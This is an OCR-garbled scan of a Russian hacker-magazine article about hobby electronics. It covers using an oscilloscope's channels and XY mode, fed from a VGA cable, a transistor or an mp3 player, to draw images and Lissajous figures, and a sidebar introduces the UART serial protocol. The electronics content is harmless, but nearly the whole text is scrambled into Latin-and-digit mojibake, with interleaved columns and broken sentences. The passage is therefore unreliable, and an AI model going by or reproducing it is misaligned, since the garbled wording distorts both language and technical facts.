npillwen gOMOW Cy'-le6bl ill TyT Ha Te6e - C10pen nocnegHillw pa6o'-lillw MO HiIITOpl XOTen, 6blno, nOWTiII 3a HOBbIM, HO Ha gBope Kpill3i11C. ,L],eHer Hill epillra HeT. V1 TyT MOW B3rn51gynan Ha oCLJ,illnnorpaep. «He 6ega, - nOAyMan 5'1. Cew'-Iac co6epy MOHiIITOP ill 3 Toro, '-ITO eCTb nog pyKOW.
A 3aogHo Bblwgy no6egillTeneM ill 3 TpygHOW ciIITyaLJ,iIIiII».
• ., ~
1 f.
,UHeM 51 f'orOBopl-lJlC5I C ,o,py3bl'lMlII, 4TO Mbl yCTpOltlM se4epOM He6oflb
wo~ AOM<lWHlIIii TYpHlo1p
no Ouake3 Arena. Bpy6afO
sam-n AbIM! OK83blSaeTC$l, BceMy BI1HOVi -
KQMn,
6
a 1113 MOHvnopa
BOAa c nOTOflKa, KOTOpylO R
no 3anapKe He 38MenlI1. \11 ryt. KaK Ha3JlO, nplo1xOA~1T roCTI'1
Ie HOyr3Ml<l).
HeAOflfO AyMaR,l'I YC3AlIIJl lIIX 1II pa3A8Jl AocTyn BAOMaWHlII~ Wi-Fi. 3aTeM
12 n03HAI1 rEOPlil1O Cnpoclo1 ce6R. a 3Ha€ W b 11lt1 Tbl Bce q>yHKlJ,V1V1 li 803MO)KHOCTlt1 OCL\V111110r paepa lt1 lly4€ S 0i1 rpy6KI-1? ECJl 101 OTseT -
HltlTeJ1l1.
$I none3 no.Q CTOll. 8 nOJlYTbMe, QCBeLl..l31'l nyrb Mo6111flOVi. $I H3wefl ,o,aBHO
npe)KtJ,e Bcero, OClI,liIJlJlorpa¢ -
He Io1Cn0J1b30BaSWI1\;1cR OCUlllJ1Jlorpa<\l. 8bITaw,l-1J1 ero, npOTep OT nblIlllllll
OTJlIo14li1€M,
BKfl10411l1l B ceTb HI-HI -
pppa60TaeT!
V1 - 4epe3
6YKB81lbHO nOfl<.<aCa K06bIPI1
rOTOB H06bll1 MOHI'nop_ B WOKe Tosa pV1Ll1\o1 CMOTpefll1 lia 3e11€Hbll1
3KpaH OCL\l-1flflOrpaepa, Ha KOTOpOM COBepweHHo TO'-lHO y3HaBa110(b MeHIO 11106li1MOIll ceTeeoili raMbl. Hy liI TyT >1, c06CTBeHHO, npe.o.110>KIII11 Ha'JI-1HaTb.
BocropxeH Hoe "Aa!}), TO MO>K€Wb
nponycTlo1Tb 3Tor pa3Jl,eJl lA noiliTlo1 p,onalo1BaTb JlI1YHOrD K~16opra-TeJlOXpa
:no nC4Hl TO )l(e, 'lTO VlSOflbTM€ T P, (: TeM
'lTO OH YM€ e T pl1COBaTb 3Ha'-leHlAe HanpSl>KeHI1\; no speMeHVl. C
era nOM0UJ,bfO Tbl MO>KeWb nOCMoTpeTb He TonbKo, 4TO TSOYI TOK B p03eTK€ >Klt1S€T no clo1HycOlt1,O,aJl bHblM 3aKOHaM, flO lo1 pa3JlW·IHbl€ M8110'-111
nina Ha
BOAOK, H1.13KQBonbTHbiX CI-1 rHanOB abICOKOV. <.<aCTOTbllt1 np. 3TO H€ 3 aM€ H III Mbli1 ,o,eBai'iic, KOTOpblM AOJ1>K€H
BJ1aAeTbJlI060i'ii, no TaK 11m., liIHay€
6yJl,€T
Io1MeTb ,lJ,€JlO C 3neKTpOHliIKOYl.
121i1111EM HY>KHbIE >KEllE3KIiI
Bo06Ll1e, OClJ,I1J1JlOrpaq>bl nOApa3Jl,eflR K)TCI1 Ha ABa SI-1Aa: aHanorOSble liI
nOHI-1Mafl, 4TO OCL.V11111Orpaep ~ 3TO He,QOA€JlaH HblC1 Ten€ B 1II30p .0,1111
L.\l>1¢pOBbie. Ho BHa4aJ1e Tbl coeceM He 3aM€ T VlWb pa3tH1L.\bl, lt1 re6e 6YA€ T
lA3Mepl1Te11bHbIX L\e11el1, 11 CTafl. nOKa '-lltlCTO TeOpeTV1'-leCKlA, nO,QrOHI1Tb ero
noeplt1ry, ... eM nOJlb30B,HbCSl. P2311lolyalOTCfl OHI1 pa3MepaMlt1. '-lyacTBl-1Tellb
B03MO>KHOCH1 no,lJ, CSO\ll nOTpe6HOCH1. TaM >Ke, nOA CT0110M, MH€ nOna11(11
HOCTblO, epYHKL\lt10Ha110M, ll€ H aM 101. KaK npaBliIno, nepBblili OClI,lAJlJlorpa¢ 8
B nonYTbM€ IIIMnY11bcHbli1611oK nlATaHl-11111 Hen11oxolii reHepaTOp epYHKlJ,lAi1
>KV13HI1 311eKTpOHUJ,VlKa n0l10MleTCSl fll-160 npfiMliIKOM CO CaaJlKI1. nlil60 no
3aT€ M
>1 M8THyl"l1 B APyroi1 yroll KOMHaTbiinonyTHo XOPOW€ H bKO
HYSWItlCb Ha paCHI>KKaX 1-13 np080,lJ,oel -
HCisep
K flLlll-1Ky C 6apaxnOM. OCTaSWl-1M
CI1 or 6blnblX onblTOB Cy)J.OpO>KHO fl xSaTan HY)Kllble MHe ,O,eBai1cbI:
na
BHyT
C nJlaCTl1HaMIo1Lo1 cneu,VlaflbHblM CBeT>llll,WMCR nOKpblTliI€ .... Ha 3KpaHe-Lo1
Ka6enb, nOToMy
«T bl TaM
>KlABoili soo6w,e?». Meno'-J[.1, nOAYMaJl s:l. BpeMSl VlJl,eT. a BpeMR S ,o,aHHoi1 CltlryaLl,liIlA -
3TO caMoe ~€HHoe. nepeWarl>1BaR '-Jepe3 6YXTbi npOBO,lJ,OB,
11 CBo6oAH0i1 KOf.4€," f.40CTblO npIo1XBaY[.1Jl CBOYI JlI06101Mbliii TeCTep. KOTOpblM
i,1
OCLlillnnor
c 0AHorO KOHlI,a VGA-Ka6eJlb, CTapylO BliIAeOKapTYAllfl npo6.
,o,OI-IOCl-1TbCI1 BonpOCbl Tlt1na «Ay Te6Sl TaM Bce B nopSl,o,Ke?)~ lt1
I
06 aHaJlorOBbiX
pw OCL.\liIllflOrpaepa eCTb Kl-1HeCKon -
4TO 8 cne,o,ylOw,yfO ceKyHJl,y BeCb XJlaM pyXHyJl MHe Ha rOJlOBy. CHliI3Y CTami
.,l
HaweM CerOJl,HS!WHeM liI3spaT2 pe"lb noi1,o,eT
paepax. a noToMy paccMoTpVlM npV1HL\Lo1nbll<1X pa60Tollt1 ynpaSfl€ H l<1R.
flllbHI-1K, q,moc, npl-1noi1, nlilHlI,eT, nnaTy OT ropenoro MOHliITopa, y6111Tbll1
nO)Kanyili, 113P~ TaK pe3KO Sbl,lJ,epHyll C eepxHei1 nOJ1KliI Wl-1$aH€ p a,
'I
cnLo1caHlIIlO 1-13 KaKorO-H 1<16y,o,b Sy33.
8
3a,lJ,YMan np03BOHlo1Tb Hatil,lJ,eHHblili Ka6eJlb Ha pa60Tocnoco6HOCTb.
B rpy
TaKaq AJllilHHa>l CT€ K fl"HHal1 Tpy6Ka
3Jl€KTpOHlt1Ka, ynpaBnl1lOll\a? pa3BepTKaMI1, nepeKll104eHliIeM pe>KI-1MOB pa60Tbll<1 np. Ho HJ4H€ M
Mbi C .nl<1L\€soYi naHenbKLo1: Ha Heill 06f13aTenbHo
eerb rHe3)J.a nO.QKllfO'1eHI-1>llllyna l1flV1 cneu,vallbHoro n poeoAa C )J.SYMSl 3a>K>1MaMl-1, KOTOpblM Tbl cy,D,0P0)f{HO TblKaeWb no nJlaTe, Aa6bl 3aMeplilTb III BbiSeCTI-1 Ha 3KpaH npOTeKafOUJ,Lo1e no cxeMe Hanp>l>KeHliISl, 3TI<1 .'1·le3,D,a H83blBalOT «Ka HaJlaMliI". 06bl4HO 1<1 X MapKLo1pYIOT Ha coaeTCKliIX ocu,iIIJlJlor pa¢ax KaK «KaHan
A»,
«KaHaJl
5>l,
l-1fl>1 >Ke
lola IIIMnopTH blX
KaK «CH1 »,
«C H2».
[NVIDIA mx4001. HIo1Kor,o,a 6bl OH He 3aSJlaA€ J l
... eM I-1X 6onbwe. TeMy,o,o6Hee OClJ,V1Jlb B 3KcnflyaTaqlill1, HO MHe Jll-1'"f.40
MOI1M BHIo1MaHV1eM, eCfl[.1 6bl
KaHanoB y OCll,Lo1J1JlOrpa¢a MO)l(eT 6blTb OT
1AO 5.
-
,o,e Mycopa HaWeJlCfI pacne4aTaHHbli1 ,o,aTaWlt1T Ha .o.peBHlOfO BV1,o,eoKapry
Cy V1TaeTCI1, "'TO,
He Aparo~eHHaR pacnl-1HOBKB VGA-rH€ 3 Jl,a. n\o1CT 6yMar>1 >1 10130neHTa, cn<J
scer,o,B xBaTaJlO 2-KaHaJlbHoro. ECT!:> TaK::Ke rHe3Jl,a CiIIHXpOHI'l3all,Lo1i11,
CaK)w,aSl Ml>1p. 6b1Jll>1 y>K.e Ha CTOJ1e. npVlwna nopa c06paTbCSl C MbICJlRMVl.
BbIXOJl,8. 8xo,o,a 1-1 3eMJlI1, HO
~
110
a
HlAX 6y,.:l,eT no.o,po6Hee paccKa3aHo tllA)K€ .
XAKEP 05 1125/ 09
-
i!!
>~ "phr~}tkiI"J9. i!!
BBEPXYY MEHR CTO~T rEHEPATOP<llYHKLl~~. HY A BH~3Y PA3MECTI111CR rEPoi:! AHR - MOi:! OCLlI111b ~3-nOA crOllA
vu
-3 -2 -,
o ./
_
ntlt
vu
vu
,
_
...... J
..........
~"".
B~3YAll~3ALl~R
f\A't't.
nllEEPAAIMP B op~r~HAllE ~ HA
3KPAHEOCLl~IlIlOrPA<llA
Tenepb norOBOpltlM 0 pe)l(l-1 Mil X pa60Tbi OCl..\l-1JlJlOrpaepa - l>1X MHoro. HO Bbl.QeJH1M HeCKOllbKO OCHOBHblX. KOTOpble Mbl cerop,Hs:l5yp,eM l-1CnOJlb30
BaTb l.1 KOM6l1HVlPOBilTb Me)l(,uy c06011_ CHa4illlil nOrOBopl'lM 0 HOpMilllb
HOM pe>I01Me pa60Tbl :noro arperaTil - pe)t(liIMe np\1MOrO oT06pa)l(eH V1>'l nOJJ,asaeMoro 8 KaHan Cl'lrHilfla. EClllil Tbi CV1rHilJ1 He nOAaeWb, TO Ha 3Kpa He MO)l(I-IO Ha6JlKJ,Il,ilTb pOBHylO JH.1Hl'lIO. Ho OOIo1T le6e nO.D.aTb TOK
OT naJlb'-H1KoBoi:16aTapeHKl-1. npS1Milfl nOAHl'lMeTC~ 13blWe V1JHIl HII1)Ke, B 3ilSl<1C\-1MOCHl OTTOrD, KilKl-1Ml-1 KOHTilKTilMl-1 Tbl nOj:\KJlI04l-111 OCI..l\o1J1b K
5aTape(;;Ke. ECJllt1 Tbi Hlt1'-lero He 3aMeB111 Ha 3KpaHe, 3Hil4l-1T, 411Ta(;; npo KPYH1I1KY«SOJlbTil)l(». 3Til He6oJ1bWas:l pylJKil YCTaHaSfll<1SaeT, KaKOe Ha
np5DKeHI'le COOTseTCTsyer OAHOi:! KJ1erOYKe Ha 3l<paHe. ECfll<1 yCTaHoBVlwb ee B nOflo::+<e!H1e lV, TO npl1 BblCOTe 3KpaHa 8
10 KJ1erOK,
CMo::+<eWb 81-1,[1eTb
Hanp,DKeHIIl51 OT -5,[\0 + 5 BOllbT. ECJ1I'1Tbllte 81-1Jl,I-1Wb Bo06w.e HI-1KBKlI\X
llll\Hlt1~, BnOllHe 803""10::+<f-10. OHlI\ YXO,[l>lT 3a rpaHlI\lJ,bl 3KpaHa. 3TO Te6e
XAKEP 0511251 09
~
111
>> pht'"€'-3king ~~~~~~~~~~~~~~
I ~,
-'\r
Ill,
-'\r
nJ1AHbl
pacnopS:;)KeHIIlIll AOJ1>KHbl 6blTb reHepaTOp ¢YHKlJ,IIl~ JIl il1060171 OClJ,Io1J1J10rpa¢l. KOTOpblCi I1Men 6b1 CIo1HXpOBXO,D, lt1
Z-SXOjJ,.
TaK>Ke HeJH1WHlo1M 6y.o.eT K3KOA-HIo16YjJ,b KOMn, B KOTOpOM 5bl crO>l.na HeHy>KHSflIHa 8C>lKIIlCi cnyyalit! Bl.1jJ,eDKspTa, Kor,Q3
~~~~~~~~~~~~~~
Sl L-13J108YIo1IlCs:l.aenaTb 3T01 ¢V1HT C OClJ,l.o1fl110rpa4>oM, 51 y*8, CDeceM He 6C>lCb. nOjJ,KJl1Oyail ero K f-!oyT6yKy TOBapl-llll.a -
TaK, A1151 nplllKofl3. Ho nepBoe SpeM51 fly"we, Bce )Ke, He
p\ltCKOsaTb. V1T3K, Bbl)(OA reHepaTOpc ¢>YHKlJ,L-1C1 nO,l\KJl1O'-la~ Ol.leHb
CKOpO aT npOCTblxTpex6yKseH
HblX Ha,Qnlo1ce~ lbl nepe~AeWb K 6011ee
;1
'!
)I{IIIBOnlo1CHbIM CIO>KeTaM.
OAHy TaKylO
3BYKOBO~ ¢la Liin , KOTOpbl" MO>KHO npo
HS eXOAHOYl KaHSil OClJ,L-1FlJlOrpa4>a. nplirOTOSb Ka6eIlb OT
Io1rpaTb Ha ocu,l-1nJ1orpaepe. A BAaHHb,Lii
Z-Bxo.o.a OClJ,l1nnorpacpa ~ BOTKHI1 ero l.1 SbleeAIIl KPOKOAIt1J1bl
MOMeHTfl BaSIiO
Mathcad-CKpl-1m,
K ce6e nOOJ1l11>Ke.
06pa3ll,OaylO Kapn1HKY Sl BblllO)l(Y Ha
KOTopbli16YAeT VlMItlTlilpOaaTb I1rpy B
.QOCTaBal::i CSMylO Hy>KHylO AeTSflb -
Alo1CK -
HacTonbHblVi reHHI1C. Y>K He 3HalO no
nOjJ,KJl1OYIIl11 era K: 9-B0J1bT080MY 6J10Ky n IIlTaHIIl51, KOTOpblCi
Aenai1 C Hei1, "lTO X04eWb.
noclle 8blnOllHeHIHl TaM CKplo1ma
nplo1seAeHHoro
yre6fl AOJ1>KeH
C03AaTbCfl
TpaH3I1lCTOp. fl6b1CTpO
4eMy, HO MaTKaA R nOlllo6\1lJ16011bWe,
soTKHyJ1 S p03eTKY. B n plllHU!I1ne. Tbl C nerKOCTbfO MoxeWb
l.leM mnOH.
I1CnOllb30eaTb l.1 KOMf1bfCTepHbli1 6110K nl-lTaHIo1I'l, HO M He 6blJlO He AO 3TOro. Ka>K.o.a" ceKyHAa 5bl11a Ha ('-lelY. Tenepb nO,QKJlIO'-l1ll M TpaH3l.1CTop . .Qml 3Toro 3a paHee coserylO npVl
€)
, dvd Ha
.D,It1CKe re6R
He 3a6oTlH1BblLii BI'lH.D,OyC, KOTOpbli1 OCT8HaSJll-1BaeT MblWKy
rOTOSl.1Tb YTO-TO Tl.o1na wnapra11KIo1. HS KOTOpOL:! KapaH,a,aWOM
Ha rpaH\.1ue 3KpaHCI -
HaKap516aHbl 6yKOBKIIl «K», «6», «3» -
3AeCb, HanpOTl.-lB, Bce CYPOIJO, KaK III
5a3b11013Ml.1TIepa, COOTBeTCTseHHO. Ha 3MIIlTIep 51 no.o.secllln
6YAb BbICOKOyaCTOTl-lblL:! TOK, HanplllMep, TO, 4TO Tbl ceL:!48c
L\eHTpsl1bHblL:! npOBOjJ, OT
cnywaewb -
KOJlFleKTopy nOjJ,KJ1104l>1il3eMmo, Hya caM Cl.1rHall C Io1HTepe
CMeno nOAPy6aL:! CBOi1 nneep K oClJ,lt1nnorpa¢>y!
ECJllt1 Tbl nOKpYTIIlWb PY4KY «epeMs:! Aen\time div», TO Mo",eWb
>KAeT
CQ4HbiLii $OTO- 101 81'1
MaCWTa6\.1pOBaTb \.1306ps*eHiIle no OClt1
X.
AJl~ pa60Tbi C Cl.1rHallaMIIl pa3J1l.1YHbIX 48CTOT. ECTb TaK>+<e 38Me4aTeJ1bHblL71 pe)K\I1M CI1HXpOHIo138lJ,lt1Io1. TO eCTb
nYHKTy. TaK>Ke iIIlll,101
«no KOMaHAe». 3p,eCb sce npoCTo. ECfllll Tbl HS (l.-lHXPOBXoA
lJaCTbMaTep...,zna,
OCUIo11lJIOrpa¢a no,o,awb cTyneH4aTblL71 CloIrHafl, TO OClJ,V1J1110
He Bowe,QwylO B CTa
rpaq, Ha4HeT npopVlCOBblsaTb c03A8saeMyKJ \.1M no yMOil
TblO
no TeXHVl4eCKI-1M
npl-1'-1V1HaM
,-<aHVlKJ npSlMylO -
CHOBa III CHOSa npl.-l KS)K)l,OM nOilyyeHl.1111
TaKoro CiIlrHS11a. AHa110rliYHO 3TO pa60TaeT H8 reHepaTope q,YHKlJ,lIli'l: Meranone3Hble rHe3As n03B011>11OT AenClTbTaKl.1e KpyTble WTyKlIl, KaK OTCne>KIIlSaHlie Cl-1rHaila, BblAeJ1eHlo1e onpeAe11eHHblX 48crei1 Clo1rHaJ10B 101 Ul.1<pPOBoe ynp3Bn€ H l.-le pa3BepTKaMIo1. Hy III nOCilejJ,Hl.1L:!, peAKO \.1CnOnb3yeMbllit pe>KIo1M pa3sepTKIIl no
XY
:;no pe>+<l.1M
Ecnlo1 yTe6Sl OClJ,IIlJ1norpaq, 2-KaHanbHbl~,
TO, CKopee Bcero, Tbi flSMleWbCSl C4SCTJllll BblM o6nsAaTe11eM 3Toro pe::tCIo1MS, TYT OClJ,l.1FUlOrpa¢> l.1cnonb3yeT ABa KaHa11a l.1 no YMOnyaHlIl1O oT06pa>K3eT Ha 3KpSHe He np51MyKJ, S T04KY. Kcr3TVr, cTapaL:!C51 He CBeTV1Tb C11VrWKOM 5lpKJIlM ilVLlOM B O,a,HY TO'tKY -
z· BXOA3 OCLJ;l.111flCrpa4>a III +9V K
cy1Olll.ero MeHIi 3ene~loro npOBo,Q3 51 nO,QSl1 Ha 6a3Y. HeMHoro
3TO He06xOAIIlMO
,Q€OapXiIIB no Ka>KAoMy TaM
,Qfl>l KOflJ1eKTOpa,
AomKHo 6blTb. ATenepb nonp06yeM nOMepl.-lTb KaKoL:!-Hl.-l
nOToMy4TO CilO~ C 06paTHoL:! CTOpOHbl Kl.1HeCKOna
«ECJ1H Tbl HACHHXPOBXOA nOAAWbCTYnEH4ATbl~
CHrHAJl, TO OC'-'HJlJl0rPA<!J HA4HET npOPHCOBblBATb C03AABAEMYH) HM no YMOJl4AHHH) n PSIMYH) CHOBA HCHOBA, nPH KA>K AOM n0J1Y4EHHH TAKoro CHrHAJ1A».
MO>KeT 06ropeTb . .QonyCTVlM, eCllV1 Tbl nO,Qawb I-Ia «KaHall A» Hanpl'l;:;ceHlt1€ 8
3 SOllbTS. TO llY4\.1K ,o,OJl>KeH
CMeCTlt1TbCl'I
enpaBO. a eCillt1 Tbi nOjJ,aWb Te)l(e 3 BonbTa H3 STOpOYl KaHan, TO nyYliK nOjJ,HIo1MeTC>l ssepx HB
3 S011bTa.
ECillll Tbl 6y,a,ewb
nOKpyTItlB PYYKVl Ha OCLJ;l.1f1fIOrpa¢e, R ,D,onep, 4TO TpaH3V1CTOp OTKpblT, a, C11e,a,OBaTe11bHO, -
Ha 3KpaHe Mbl nOCTOI'lHHO
eIo1Al.-lM 3elleHbli:1 Kss,o,paT 6e3 TeMi-ibiX 06ilSCTe~_ MHe 3TO He
no.o.asaTb CIo1HYCOl.1Aolll,a,aJlbHble TOKVl Ha 06a KaH3Jla, TO nOflY'1lt1Wb TaK Ha3b1BaeMble ({eplilrypbl Jl\J1cca;:;cy».,. BnpoYeM,
nOHpa8l>1110Cb. ltl Ii peWiIlJ1 XOTb KaK-TO CHlo13liTb TOK ynp3s11e
o HliX Tbllll caM MO)KeWb np04eCTb Ha CTpaH\J1lJ,ax BI'tKVlnejJ,VrIll,
HI1I<
n03TOMY nplllcTynl.1M K onblTaM.
cnyerl< MrHoeeHbe C XPyCTOM BblilOMal1 nepeoe nOnaBWeeC>l
51
nOCMOTpeil Ha cropeBwylO nJ1aryoT MOH>1TOp2, OTKy,a,a
conpOTVlBil€ H l.1e.
f:l
CAEJlAEM 3TO nO-6bICTPOMY
CeL:!Ljac Mbi paCCMOTpl.1M H311l6oilee npocTy1O peailIll3al.l,l.1fC 3aAYMaHHoro -
l.1MeHHO TO, 4TO 51 V1 c,a,eJ1SJle TOT seyep.
$1
B351J1 pa3Aon6aHHblYI VGA-Ka6enb III {(nOYIIl H>1fl» ero KycaY KaMIo1. OTKyweHHblCl p33beM C np0lll.ailbHbIM 360HOM yJ1eTeil B MYCOPHYIO KOP3liHY_
lib
KaK TOllbKO 3TOT nOCJ1e.o.Hl.-lY1 3JleMeHT 6blJ1
HaVlAeH. Ha OCUIllJ1flOrpa4>e 518HO Ha'1anO BbIAaSaTbC>'!4TO-TO
KapMaHs l'I Aonail TpafOlllCTOp. Aa)Ke
nOXO)Kee Ha TeMHble 06flSCTl.1. Bnp04€ M ,
Tbllll TeMHblX 06
ll3cTelit He Y8lo1AIIlWb, npOCTO xapaKTepHble 6eryl.l.llll€ 1l0MeXlII. ECJ1L-1l.1X (OnOCTaBIo1Tb B CT0J1511l K, TO nOJlYYl.1TCI'l KapTIIlH K3. npOCTO, He npaoAa 11111? .QBe ,QeTafl ill , HeMHoro npoBoAoB V1 Bce rOTOSO.
He yTpy;:;c.aaSl ceOSl4TeHI'1eM MapK\J1pOBKJIl,51 Ha4an6blCTpo
8nepe,Q, CKa>Ky, 4TO HaM a6comOTHO noepl.1ry, KaKOYl TpaH3VlC
ynpOCnlM TEXHOJlOn1l0 AO 5E305PA31MI
Tap 6paTb. Ha jJ,ltlCKe Tbi HalitAewb cxeMbl no,a,KmOyelll.1l'1 Anl'l
,l],onycTl.1M, Tbl He Io1MeeWb Hill B03MO)l(HOCTl.1, 1-'l.1 >Ke,laHL-11i
np036aH lIleaTb ero. 4T06bl y3HaTb, r.o.Q KaKoL:! SbleojJ,_ 3a6era51
J
t ~
f
112
f:l
111060ro XilaMa, KOTOpblL:! Mor 33BSJll'lTbCl1 y Te5>l B 5l111.liKe.
nalHb BI'1,QeOKapry, a BOT CAenSTb csoe MaJleHbKOe YYAO Te6e
.Qa:+::e noneSble TpaH311lCTOpbl -1.01 Te sspl.1aHT !He rOBop>l y)l(e
XOyeTC>'!. OK, -
He aonpoc, '-llllTaL:! jJ,2flbWe, Te6e nOTpe6yeTc~
o 611l0n0J1SlpHblX, pnp III npn Tlinos!. Tenepb WYCTPO no.o.
3.5 MM pa3beM,
K2K y 06blYHblX HaywHI1KOB, lil KaKOM ~Hl.16YAb
rOT08l1lM annaparypYAMI OnbiTOB. HanOMHIO, '-ITO B HaweM
mp3-nneep. YMelOl1.\ltl~ np0l.1rpbleaTb wav-epa (1!lbl. Ha jJ,I1CKe
XAKEP 05/1251 09
,
>> pht-",aking
nO/lE EiOH
3E/lEHbIH Cl1rHA/l. npOWEAWI1H 'lEPE3 nO/lEBI1K - HE CPA3Y AO MEHHAOW/lO. 'lTO OH BCE BPEMH Eibl/l3AKPbIT
np03BOHI1B TPAH3I1CTOP. 51 npOCTABI1/l6YKOBKI1 «K», «6», «3»
PEMOHTI1PYEM HAW MErAKA6E/lb
eCTb np06l-ibl~ C6pa3ell, - eCJH1 npOltlrpaTb era Ha OCll,liIJlJlorpa$e. TO
'-ITO reMa, Tlo1na, HeaKrya/lbHa -
01' nOKa)i(eT t-<e6oJl!:>woe rpexMepHoe AeMo-woy c <pltlrypaMill nlllcca>KY
C'-IV1Taii, 4TO Tenepb Tbi B COCTOflHV1L.1 pa60TaTb
Te6e J1Y1Wb ncTpe6yeTC>lJanlllCaTb 38YK B Mn3. 80TKHYTb B pa306paHHbiVi
KOJlaMIo1, a 3Ha4L.1T, Tbl cnell
WTeKep 1Il Ulynat..m np\1coe,!],\-1HIHbC\1 K Macce
Tbl n03HaJl Clo1/lY Blo1AeO~Cl'lrHa/la
BKJl lO'-IeHHbli1 8 pe>Kltl M pa3SepTKl-1
\11
KaHaflaM HayUJHlIIKOB.
XY OCll,Io1J1J10rpa4J TOPolac
Ha'-lHeT
Pl.1CO
BaTb .oV18HOVi KpaCOTbl Kapn1HKV1, KOTcpble 0,D,H03Ha4fIQ np\>l6J1lil3\1T laOera npenO,lJ,a no ¢\.13l11 K€ IM1Vl 3JleKTpOTeXHV1 Ke K nOCeLl\eHIo1IO nClAXI'IClrpa. 3Toro 8V1,1J,eO le6e, KOHeYHO, ,QOJl>KHO XBaTlt1Tb Ha,lJ,OJlrO, HO caM BI"OJlH€
3Hai1.
'-lTO Tbllt1
MO>KeWb OCV1m1Tb pI1COB8HV1€ HCl OClJ"It1111l0rpa4>e. ,Q1l>l3TOro
nOTpe6yKHc>I V1 HTepnperarop
nV1TOH8
VI nporpsMM3 Blender. nOCJ1€ ycra
eC/llo1 yTe6fl nO/lYYl-1/lV1Cb Bce .o.esai1cbl,
co CJlO>KHblMIo1
BIo1,D,eOnpCTO
V1 B COCTOI'IHI-1Io1 o50iimcb npocToii
MIo1KpocxeMolil AJlI'I ynpaBJlel~l-11'1 60/lbWL.1M
>KK- Al-1cn/leeM.
~
6011ee 4eM
yBepeH, '-ITO KaCCOBble annapaTbI, TepMV1Hallbl onllaTl:>! COTosoLii CfHI3l-11-1
6aHKOMaTbl >Kl<1Tb AOJl>KHbl Ha no.o06HbiX aAanrepax. VIM so06UJ,e He Hy)KHa
TaKal'l Kpyral'l rpaeplo1Ka.
Kor.oa fl6po.ol<1Jl no CeTV1, TO Hawe11 OAIo1H 3aHIo1M3Te11bHbllii caViT, Ha KOTO
pOM 6blJllo1 nOKa3aHbl HeKOTopble y>Ke raTOSbie cxeMbllo1 peWeHlo1l'1, n03S0
HOBKYl nporpaMMbl c03.o.aliisepTeKcHoe v1306pa>KeHVle V1 TOYKaMVl pV1eyii,
flfllOUJ,ltle pltlCOBaTb Ha OCU/flJlJlorpaq,e Bce, "'ITO .oywe yroAHO. On.Wp030K,
KaK TbI XOTer, 6bl 33CT3SVlTb 6eraTb nYYl-1K oCl.\l-1nnorpa¢a
3aHlo1MalOUJ,I'ILlic>l peCT3Spl'lpOS3Hl'leM CTapl'IHHblX paAlilonpl'leMHI'IKOB,
a Ka4eCTBe YBfle4eHl-1fl AeflaeT pa3flVl4Hbie ycrpoVicTsa, n03BOJlfllOUJ,l-1e
f:l
AIf1ArH03AJUI Bbl>KIf1BWIf1X
ynpa B11flTb KltlHeCKonOM. Ha ero caLiiTe fl Hawen flK06bl pa60TalOUJ,lile
np04l-1TaB ?JTY CT<JTbK), Tbl Y)f(e ceVi4ac MO)f(eWb 83\Hb ceo~ ipod vtJlI'I
cxeMbi BceB03MO>KHbIX 4aCOB, KOHBepTepoB l-1 npo4elii CnWbHQ;1 anna
.opyrol1 mp3-nneep lil nO~TVl KPYW>1Tb M03rL-1 oKpy>KaKlUJ.>1M B sy3ax,
paTYpbl.
lla6opaTOpl-151X!>1 WKOn<JX, r,.'le (:TOflT OCUl-1JlJlOrpaepbl.11 MOJl'-ly npo TO, '-lTO
HO SVlAl-1MO, rAe-To OWl-16Cfl npl-1 cnaLliKe l-1 3anopon YCTP0l1CT80 no
Ha CAe/laHKOe T0601ii 06513aTenbHO c6eryrcl1 nOCMOTpeTb Bee 3Ha KDMble,
npo6yi4 noo.1OTpeTb 3TY CTOfllllYlO CCblfll<Y no Hawe~ TeMe: http://www
nOApyrl-1,.oa 1'1 npoCTO rosapl-1w,l-1
XAKEP 05 /1251 09
VI nycTb TOllbKO nonpo6YKlT HaexaTb,
B caOK) 04epe,lJ,b, fl
nonblTanCfl cnaflTbynpow,eHHblVi sapl'laHT,
electronlx~ndmore.com/prolect/lndex, html.:::::;:
~
113
>> pht"€'aking 1
~~~~~~~~~~ ~~~~
.
~~
~~
~~~
~~~~
I~~~~~~~~~~~~~~~~~~ ~~ ~~~~ ~~~ ~~~~~~~~~""'~~~~~~~~ ~~~~ ~. ~~~~ -----------1
CfPrEL1.£10J1f1H
I DLINYJ.LlVEJOURNAL.COM I
1----------
rJlABHbl~
~HCTPYMEHT
(J)P~KEPA
BemtKHIiI H MorY~HIiI UART Ha CTpaHiIllJ,axI HeOAHOKpaTHO ynoMiIlHaflC51 npOTOKOfl
UART,
HO MaflO
KTO 3HaeT, HaCKOflbKO 3TO MOLl\Hbli1 xaKepcKiIli1 iIlHCTpYMeHT. OH eCTb B 60flbWiIlHCTBe YCTPOi1CTB ill C ero nOMOLl\blO MO}l{HO 3aCTaBiIlTb pa60TaTb AeBai1cTaK, KaK HaM XOLJeTC51.Ii1HTepecHo7
. ~ •
i
i:l
OTTEJlErPACI>AKCOM-nOPTY
OCHOBHbl€ pa604lo1e J1l-1HHlA y Hac -
UART (Universal asynchronous receiver/tra nsmilter] lilJl III ,
no-pyccKlII, YAnn [YHlt1sepcanbHbllll aCV1HxpoHHblL:1 npl1eMQnepeAaT
npOTOKOJl
[Received
YV1KI- cTapeillwltlL:1li1 caMbllll paCnpOCTpGlHeHHblL:1 Ha CerOAH>lwHlIIiII
3TI>1 nl1H 11 101 eOM-nopT8 3aAei1CTBoseHbl npl<1 nepe,D,aLJe 6e3 annapaTHoro
ynpaSlleHltl>l nOTOKOM ,lI,aHHbIX. nplo1 annapaTHoM nOrOK€ 3aAei:icTBo-
Ha1ll6o.nee
1II3SeCTeH >13
BaHbl e~e AonOnH;1reJlbHble lAHTep¢eC1cHble illtlHlAltl [OTS, RTS 11 np.J.
n pltleMHl'IKa RX 11
KOTOpbli.1 CTOlt1T YTe6A B KOMneJ. 3TO, Ha sepHoe, caMbllll ApeBHlt111 KOIVI-
BbIXO,Q nepe,n,aT4l-1Ka TX COe,D,l-1HeH C BXO,AOM
n bfOTepHblllllilHTep¢JeL:1c. OH A0)KIMI ,0,0 HaW fiX ,ll,Hellllll He nOTepAJ1 cBoei1
3JleKTplil'-leCKIili1 nplAHl.\lo1n pa50Tbl RS-232 OTnl1yaeTCR OT craHAapTHoi1
5-BOJlbToBoi1 TTL.
aKTyaJlbHOCTtIl.
HaAO cKa3aTb, '-lTO 1il3Ha4aJ1bHO Y1 HTep¢eHc YAnn
nO~Bj.1flC~ 8 C WA Ka K
Ha06opoT.
